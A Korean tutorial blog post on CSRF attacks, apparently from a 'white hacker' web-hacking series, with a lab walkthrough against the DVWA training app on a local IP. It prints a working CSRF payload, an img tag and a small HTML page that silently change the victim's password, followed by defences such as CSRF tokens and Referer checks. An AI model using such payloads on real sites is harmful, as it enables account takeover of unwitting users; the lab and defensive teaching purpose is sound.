카테고리 없음

[Web] 화이트 해커들을 위한 웹 해킹의 기술 #7 - CSRF 공격

현생준비중 2022. 1. 23. 15:14

Cross Site Request Forgery

사이트 간 요청 위조(또는 크로스 사이트 요청 위조, 영어: Cross-site request forgery, CSRF, XSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. [Wikipedia]

 

예전에 옥션에서 개인정보 유출된게 CSRF 때문이라고 한다.

 

CSRF 공격 예시

XSS와 비슷해보이지만, XSS는 해당 사용자의 브라우저에서 세션 쿠키를 탈취하는 것이고,

CSRF는 해당 사용자의 권한으로 서버에다가 요청을 보내는 것이다.

공격 대상이 사용자인지 서버인지 차이가 있다.

내가 보기엔 비슷해보이긴함.

 

실습

패스워드를 변경하는 페이지다.

CSRF 공격 예시처럼 공격을 실습 해보자.

 

패스워드를 test로 변경하는 Request이다.

<img src="http://192.168.30.129/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change">

이걸 삽입하면 공격에 성공할 것으로 보인다. 그나저나 아직도 BEEFHOOK이 되어있나보네..

 

<html>
<meta charset="UTF-8">
<head>
</head>

<body>
TEST PAGE<br/>
<br/>
<img src="http://192.168.30.129/dvwa/vulnerabilities/csrf/?password_new=abcd&password_conf=abcd&Change=Change">
</body>
</html>

제공해준 poc 코드가 있긴 하지만 직접 작성해봤다.

작성한 html을 브라우저로 열게 되면, 패스워드 변경 요청이 발생한다.

 

대응

CSRF 공격 대응에는 일반적으로 두 가지 방법을 사용한다.

  • Request의 Referer Header 검사

정상적인 요청의 경우에 도메인이 같을 것이다. 일반적인 경우라면.. 근데 게시글에 스크립트가 삽입된 경우라면 우회가 가능할 것으로 보인다.

  • CSRF Token 사용

매 응답마다 CSRF Token을 랜덤하게 생성해서 요청에 대한 검증을 할 수 있다.

 

더 확실한건, 패스워드 변경 같은 중요한 기능 실행 시에 기존 패스워드를 입력하라고 하여 본인이 실행하는게 맞는지 검증하는 것이다. 공격자가 피해자의 뇌를 해킹하는 게 아닌 이상 기존 패스워드는 모를 테니까..